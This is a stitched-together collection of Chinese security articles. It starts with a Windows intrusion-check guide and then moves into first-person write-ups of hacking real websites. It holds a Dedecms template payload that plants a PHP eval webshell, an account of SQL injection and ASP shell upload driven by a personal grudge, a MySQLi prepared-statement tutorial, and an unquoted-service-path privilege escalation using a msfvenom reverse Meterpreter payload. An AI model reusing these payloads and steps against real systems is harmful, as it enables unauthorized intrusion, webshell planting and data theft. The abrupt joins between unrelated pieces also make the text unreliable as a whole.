1 准备工作

检查人员应该可以物理接触可疑的系统。因为黑客可能侦测到你可以在检查系统,例如网络监听,所以物理接触会比远程控制更好。

为了当做法庭证据可能需要将硬盘做实体备份。如果需要,断开所有与可疑机器的网络连接。

做入侵检查时,检查人员需要一台PC对检查的过程进行检查项目的结果记录。

请维护可疑服务器人员或者PC使用人员来配合,来确定机器上运行的服务和安装的软件,便于安全检查人员提交检查的效率和准确性。

2 基本检查点

检测不正常账户

查找被新增的账号,特别是管理员群组的(Administrators group)里的新增账户。

C:lusrmgr.msc

C:>net localgroup administrators

C:>net localgroup administrateurs

查找隐藏的文件

在系统文件夹里查看最近新建的文件,比如C:Windowssystem32.

C:>dir /S /A:H

检查注册表启动项

在Windoows 注册表里查看开机启动项是否正常,特别一下注册表项:

HKLMSoftwareMicrosoftWindowsCurrentVersionRun

HKLMSoftwareMicrosoftWindowsCurrentVersionRunonce

HKLMSoftwareMicrosoftWindowsCurrentVersionRunonceEx

检查不正常的服务

检查所有运行的服务,是否存在伪装系统服务和未知服务,查看可执行文件的路径。

检查账户启动文件夹

例如:Windows Server 2008

C:UsersAdministratorAppDataRoamingMicrosoftWindowsStartMenuProgramsStartup

查看正在连接的会话

C:net use

检查计算机与网络上的其它计算机之间的会话

C:net session

检查Netbios连接

C:nbtstat –S

检查系统不正常网络连接

C:netstat –nao 5

检查自动化任务

 检查计划任务清单中未知的计划

 C:\at

检查windows日志中的异常

检查防火墙、杀毒软件的事件,或任何可疑的记录。

检查大量的登入尝试错误或是被封锁的账户。
www服务器导入Web访问日志,并查看分析Web访问日志是否完整有攻击痕迹。

检查www目录是否存在webshell网页木马,重点检查类似upload目录。

3.检查木马和后门

关于检查高级的木马和后门应依次检查这几项:启动项、进程、模块、内核、服务函数、联网情。使用工具更进一步检查隐藏木马和后门程序,可以使用PChunter

打开界面点击进程,我先对进程进行排查,随便选中一个进程右键菜单点击校验所有数字签名,pchunter会以不同的颜色来显示不同的进程种类。

1.png
数字签名是微软的进程:黑色

数字签名非微软的进程:蓝色

微软的进程,如果有些模块是非微软的:土黄色

没有签名的模块:粉红色

可疑进程,隐藏服务、被挂钩函数:红色

重点对数字签名不是微软的进程和驱动排查,尤其是无签名斌并隐藏服务、被挂钩的函数的进程和驱动,如:

2.png
对此驱动文件比较怀疑,可以右键点击pchunter在线分析上传到virscan扫描一下。

这几天在拿一个站的shell,经过前期的信息收集,发现网站用的是Dedecms,把常用的几个以前Dedecms出的漏洞测试了一遍,都没成功。在翻收集的漏洞资料时看到了“Dedecms<=V5.7 Final模板执行漏洞”这个漏洞,记得这个漏洞是今年夏天出的,由于漏洞利用过程比较麻烦,当时没耐心测试就放在电脑里没动。一看漏洞居然不会利用,好在在某论坛找到了帖子,看了几遍总算会了,照葫芦画瓢,最后如愿拿到网站的shell。虽然不是新漏洞了,但由于漏洞利用比较麻烦,网上介绍的不多,仍然有不少站存在这个漏洞,今天就把这个漏洞以及我拿shell的过程介绍给大家,没什么技术含量,早知道了的朋友和大牛请直接飘过。

1.jpg

一、Dedecms<=V5.7 Final模板执行

漏洞简介

Dedecms<=V5.7 Final模板执行漏洞是别人公布的,下面摘抄部分内容:Dedecms V5.7 Final版本中的各个文件存在一系列问题,经过精心构造的含有恶意代码的模板内容可以通过用户后台的上传附件的功能上传上去,然后通过SQL注入修改附加表的模板路径为我们上传的模板路径,模板解析类:include/inc_archives_view.php没有对模板路径及名称做任何限制,则可以成功执行恶意代码。由于我对php不懂,只能摘抄别人的漏洞分析了,大家见谅。

二、拿shell的过程

上面说到Dedecms<=V5.7 Final模板执行漏洞利用起来比较麻烦,是因为即使漏洞利用程序别人已经公布了,但你在利用时漏洞利用程序中有很多需要根据具体情况修改的地方,有一个地方没有修改或修改的不对漏洞就不能利用成功。下面来看详细漏洞利用过程。

要利用这个漏洞,首先要注册一个用户。很多网站出于种种原因隐藏了网站首页的注册新用户的链接,我遇到的这个站就是这样,不过这难不倒我,在网站地址后加上/member/index_do.php?fmdo=user&dopost=regnew就来到了注册新用户的页面。

2.png

注册一个新个人用户,这里我注册了一个名为weixianmanbu的用户,注册成功后会自动来到会员中心,当然,由于版本的不同,会员中心的界面可能会有所不同。

下面要用到第一个漏洞利用程序,也就是精心构造的模板文件。为了能顺利上传,文件的后缀弄成.gif。别人提供的一个模板文件的范例为:

{dede:name runphp='yes'}

$fp=@fopcn("1.php",‘a’);

@fwrite($fp,'<'.'?php',"\r\n\r\n".'cval($_POST{cmd})'."rnrn?".">rn");

@fclose(Sfp);

{/dede:name}

代码的作用是生成一个PHP一句话木马,我把它简单修改了一下生成的文件名和一句话木马的连接密码,修改后为

{dede:name runphp='yes'}

$fp=@fopcn("x.php",‘a’);

@fwrite($fp,'<'.'?php',"\r\n\r\n".'cval($_POST{cmd})'."rnrn?".">rn");

@fclose(Sfp);

{/dede:name}

为了绕过上传检查,需要在代码前面加上gif89a,但在实际拿shell时,加了gif89a后仍然不让上传,我索性用系统自带的画图程序新建了一个gif文件(一个红色的小长方形),保存为1.gif,然后用记事本打开1.gif,在文件内容最后按回车键重起一行,然后加入代码,代码就不写了,想要的可以来找我要。

保存修改后1.gif已经可以成功上传,而且缩略图也显示正常。

1.gif已经构造完成,该把它传到网站上了。点内容管理中的文章右面的“发表”来发表一篇文章,文章标题随便写,文章隶属的栏目我随便选了一个眼科知识,在“缩略图”的地方通过“浏览”按钮选择精心构造的1.gif上传上去,输入验证码点“提交”按钮,提示文章发表成功,点“更改文章”就来到了页面。右键-->查看源文件,打开当前网页的源文件,一会要用到。

下面该另两个漏洞利用程序出场了,它们都是提交内容用的html文件,是漏洞利用动画里附带的,我这里直接借用了,呵呵。两个html文件的名字分别为1.html和2.html。根据具体情况来修改1.html和2.html,首先来修改1.html。l.html有3个地方需要修改,分别是提交地址、aid和oldurl。用记事本打开1.html,把actiion后面的提交地址中的修改为目标网站的地址,来到刚才打开的网页源代码的文件,Ctrl+F,查找aid,发现刚才发表文章的aid为383。

把1.html文件中的aid对应的value修改为383,网页源代码中oldlitpic的值为/uploads/userup/26/12Y61T15-2928.gif,我只需要userup后面的数字26,把26替换1.html中oldurl值../uploads/userup/2/1.gif中userup后面的数字2。

1.html修改完成,来修改2.html。用记事本打开2.html,2.html需要修改的地方有5处,分别是提交地址、aid、idhash、templet和option,提交地址修改为目标网站的地址,aid和idhash在网页源代码中找到修改为对应的值,templet对应的是网页源代码中oldlitpic的值,还是只需要把2修改为对应的26就行,option对应的是发表的文章隶属的栏目,在网页源代码中查找selected,发现我发表文章的栏目眼科知识的option value='22',把2.html中option的值也修改为22,修改完成的2.html。保存对2.html的修改。

用浏览器打开修改后的1.html,通过“浏览”按钮选择构造的1.gif,点“更改”按钮。

先看到“修改文件成功”再看到“附件不存在”的提示就说明修改成功了。接着用浏览器打开2.html,输入验证码后点“提交”按钮,看到成功更改文章的提示就是提交成功了,点“查看文章”,看到缩略图就说明漏洞利用成功了,已经在plus目录下生成了一句话木马文件x.php。

一句话木马的地址我就不发了,为了不必要的麻烦。我们用lanker一句话PHP后门客户端连接,成功得到了shell。删除刚才发表的文章,至此拿站的目标完成。提权就先不提了,已经快到下午1点了,还没吃午饭呢,吃饭去,哈哈。

由于最近看不惯一些事,于是就想要对不满的对象进行一番检测,于是有了本文。

首先当然是找注入点了,随便找了一个带数据库查询的链接,在后面加上“’”、“and 1=1”、“and 1=2”都返回空白页面,估计过滤了还是怎么着。不过作为hacker爱好者的我们怎能如此轻易放弃呢?于是就行找找目录看有没有什么可以利用的,不一会就在一张图片的链接属性里找到了Ewebeditor编辑器的踪影。

Ewebeditor可是个好东西,要是有用户名密码修改一下上传样式,马上就可以拿到shell。于是立马按照默认的地址打开后台登陆地址,令我失望的是后台被管理员删了,看来管理员的安全意识还是挺高的,后台被删了,就算下载到默认数据库也没用了。

以前看过一篇文章说没有后台照样拿shell,但一时也找不到那篇文章了。重新整理一下思路,既然数字型的注入不行的话,字符型的行不行呢,带着这个疑问,我找了一个带字符的链接,分别在后面加上'and'1'='1'和'and'1'='2返回了不同的页面。

$L0M96S%TG_A20()_)W1W]M.jpg

确定是一个注入点后立马丢到啊D,但啊D却检测不出表名,于是我换pangolin,呵呵,Pangolin检测的结果马上就出来了。

有了用户名和密码当然是找后台登陆了,后台地址在首页就直接给出了链接,顺利登陆后台后发现有数据库备份的地方,这样的话只要备份一下上传的图片木马就可以拿到shell了,可惜的是后台备份路径和数据库名都不可以自定义。

然后我把源码本地保存后,修改路径和备份名后提交也失败了。这让我陷入了中断,因为后台除了ewebeditor编辑器外就这个备份可以利用了。随便抓包看看吧,于是用WsockExpert抓包了备份数据库的过程并且发现了些猫腻。

既然包中有路径、文件名等信息,那修改路径成图片木马所在的路径,以及把备份的数据库名改为.asp后缀的包后提交可不可以呢?说做就做,把抓到的前两个send包复制到记事本,并且用Uedit32修改包,需要注意的是加上或减去多少个字节一定要在length那里一定要对应,不然可能提交失败。

修改保存后用NC提交,提交后到后台去看,发现已经生成asp木马了,打开shell的登录地址,成功拿到shell。

总体上来说这篇文章技术含量不高,只是灵活地利用了一下抓包而已,希望可以给新学习的hacker爱好者一点点思路。

某年某月某日某时某分某秒,某人在阅读某PHP程序代码时,发现某处将输入“直接”带入查询语句,当他兴冲冲地抄起阿D时,却没有注入点(magic_quotes_gpc为off)。当他仔细查看代码时,也没发现过滤语句,这是怎么回事呢?实际上,这个程序用了预备查询技术。预备查询技术为何方神圣,且听危险漫步给各位慢慢道来。

预备查询技术实际上是将不完整的SQL语句(如:select * from xxx where id=?“?”是占位符)预先编译好,驻留于内存中,使用时不断将数据代入占位符并执行的一种技术。使用这种技术本意是想快速运行多个格式相同的SQL语句,但由于语句已经编译好,所以代人数据时就不存在数据与语句相混淆的情况,自然也就可以起到防注入的作用。预备查询技术是新版MySQLi库的亮点之一,在介绍预备查询技术之前,先简单说说MySQLi。

一、运行环境

1、MySQLi库可以链接4.1(含)以上版本的Mysql服务器。

2、MySQLi库为PHP5.0(含)以上版本自带。

二、安装方式

1、windows编辑php.ini,找到:;extension=php_mysqli,dⅡ这一行,去掉分号,保存,重启apache。

2、(类)unix如:(包括但不限于)mac os x,linux, unix等

重新编译php,加上--with-mysqli=/usr/local/mysql/bin/mysql_config

三、改进

1.mysqli可以让程序员以面向对象的方式编写代码,为了做到这一点,可怜的php开发者几乎重写所有代码,在此向他们致敬。

2.mysqli库去掉了一些无用的函数,如:不支持持久连接等。

可以看出,mysqli作出了重大的改进,方便了程序员,下面开始介绍预备查询技术。预备查询技术需要七个环节,涉及六个函数,我们一一为大家讲解。

首先先链接MySQL服务器,然后进行预备查询。

1、预备

函数原型:mysqli_stmt mysqli::prepare(string $query)

注意:$query中要含有占位符,占位符可以占数字,文本等类型的数据,但是不能占表名,列名,数据库名等。其中,当占位符占文本时,不要用引号(例如:应该为where username=?,而不是where username_'?')。根据刚才的介绍,此时就已经编译语句了,自然这里也会有语法检查。

2、绑定变量

函数原型:bool mysqli_stmt::bind_param(string $types, mixed &$varl[, mixed&$…])注意:参数一为文本型,其中定义了各个占位符的类型,i是整型,d是浮点型,s是字符串型,b是blob(例如,预备查询语句中有四个占位符,类型分别是字符串型、字符串型、字符串型、整型,则该参数为:"sssi")。剩下的参数按顺序依次对应预备查询语句中的占位符,变量不需要提前定义。

3、赋值

为第二步中的变量赋值

4、执行

函数原型:bool mysqli_stmt::execute(void)

5、绑定结果

函数原型:bool mysqli_stmt::bind_result (mixed &$varl[,mied&$…])

注意:参数要一一与返回的字段对应,对于无返回数据的查询,如delete,insert等,无需此步和下一步。

6、处理数据

函数原型:bool mysqli_stmt::fetch(void)

注意:此函数无需参数,其功能是将指针处的数据赋给上一步中绑定的变量,并将指针下移

一行,如果指针处没有数据可供返回,函数返回false。由于数据可能有很多条,就得需要用循环处理。

7、关闭查询

函数原型:bool mysqli_stmt::close(void)

还需要关注的一点是,如果想执行多条语句,可以重复3-6步,即重新赋值,再execute一遍。

最后断开链接:

函数原型:bool mysqli::close(void)

以上就是预备查询的基本理论,理论还得靠实践来检验,下面对两份程序进行测试,首先介绍测试环境:

B:Safari 5.0(6533.16)on MAC OS X10.6.4

S:Apache/2.2.15 PHP/5.3.2 mysql-5.5-m2-osx10.6-x86_64

MAC OS X10.6.4

其次,安装测试程序。这个程序是我自己写的,意在说明意思,做得比较简陋,凑合看下。安装方法见光盘。下面进行测试,先测试第一套新闻系统。从源代码看出,程序将变量直接带入SQL语句,造成注入,提交返回空白页面。

提交:http://localhost/newsl/news.php?id=1 and 1=2 union select 1,user,pass fromadmin,返回后台地址。

用得到的用户名与密码登录后台(http://localhost/news1/admin)成功

然后测试第二套系统。从源代码看出,程序使用了预备查询技术,而且没有过滤,提交注入语句的非数字部分均被忽略(是因为绑定变量是类型定义为数字的缘故)所以无法注入。通过测试可以看出,预备查询可以防范注入攻击。这样的技术应当引起程序员的重视!

各位看官自行脑补一下以下画面,经过你的不懈努力终于拿到了Meterpreter了,在兴奋之余,你还打算更进一步直接利用getsystem命令进行提权,使用的都是教科书式的正常操作,但是吧唧一下失败了!!这也是屡见不鲜的经典失败案例!!怎么办呢?挠头抓耳不知所措吗?危险漫步来告诉各位,那是错误的姿势,正确的操作应该是什么呢?换个姿势再来几次,肯定有那么一次能找到G点的,慢慢来不要着急!!

接下来危险漫步会给大家讲一讲Windows上的提权方法,并且实操演示给各位看一看瞧一瞧!!

6V5UFYO$23PW9)DU~%YROU4.png

同时给大家补充一个知识点,大家都来记一下哈:把权限从本地管理员提升到系统后更容易执行一些操作,而不适当的系统配置则可以使低权限的用户将自己的权限提升到高权限。

这次我不想讲那些依赖内核漏洞的提权技术,太简单了,没什么兴趣!

接下来,提权之路正式开始各位拭目以待吧!!

Trusted Service Paths

Trusted Service Paths是一个漏洞,主要是因为二进制服务文件路径中Windows错误解释空格而产生的,这个在绝大多数的情况下都是以系统权限运行的,危险漫步曾经就利用这个漏洞直接将权限提升至到了系统权限。成年旧事就不多提了啊!文件路径一般都是这个样子:C:Program FilesSome FolderService.exe

细心的小伙伴可能会发现,这些路径中是存在空格的,而就是这些空格会致使Windows努力的去寻找并且尝试执行空格以前单词为命名的程序,直到匹配成功为止。

打个比方就是Windows会尝试定位并且执行以下的程序:

C:Program.exe

C:Program FilesSome.exe

C:Program FilesSome FolderService.exe

在这种情况先,如果系统开发人员没有将整个文件路径全部包含在引号内的话,那么这个就会是一个非常致命的漏洞。对于这个漏洞前辈们已经给他起了一个很有意思的名词:不带引号的服务路径(Unquoted Service Paths.)

在发现了这个漏洞之后,如果我别有用心的话,我就会在这个文件夹里面加入一个恶意文件,那么在服务器重启之后的情况就是,以恶意程序为傀儡的系统权限就收归你的囊中了。(PS:放置恶意程序的时候要先确保拥有目标文件件的权限)

说起来很简单操作起来还是有一点费事的,接下来我们进入实操解说环节:

1.如何发现并且利用这个漏洞?

首先需要做的就是查找出所有的没有用引号的服务路径,这一点可以利用WMI命令查询

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:Windows\" |findstr /i /v """

14487725241584.jpg

好尴尬,第一枪就打中了这么多!PFNet服务的路径没有使用引号包含同时路径中包含空格。(知识点)现在我们就可以直接利用文件夹权限进行操作了啊!直接使用内建工具icacls查看路径中受影响文件夹的权限:

icacls "C:Program Files (x86)Privacyware"

@O6)W}H439VCR[95WM}LA6I.jpg

注意看了啊!第一行BUILTINUsers:(OI)(CI)(M),已经列出了所有的用户权限了啊!!直接根据自己权限的大小进行下一步操作就可以了,现在我已经利用漏洞将恶意软件植入了哈!!

这是我生成并且植入的第一个可执行文件,所以我希望能够在本地管理员足增加一个账户,或者弹回一个系统权限的Meterpreter shell,这样可以方便我进一步观察!

命令:msfvenom -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai LHOST=10.0.0.100 LPORT=443 -f exe -o Privatefirewall.exe

)FDM8$U9085(VR0W%S6_8$3.jpg

OK,到这一步的话就可以直接使用SC来执行植入的恶意软件了,当然也可以开启PFNet服务弹回shell。

sc stop PFNet

sc start PFNet

W[OMH[L$P1W(VUM[KN_@J5H.png

尴尬了~~测试之后发现,只有自己植入的那个文件夹的操作权限,却没有PFNet服务的权限,到了这一步只能面临两个选择了,1.重头再来过 2.提权目标被重启。

已经到了这一步了,我毫不犹豫的选择了第二项,在提权目标被重新启动之后,我之前植入的那个文件件果然发生了奇效,他弹回了一条具有系统权限的shell

$X[<code>UAMDBONI5C1EBN</code>D@7U.jpg

我的天呐好简单啊~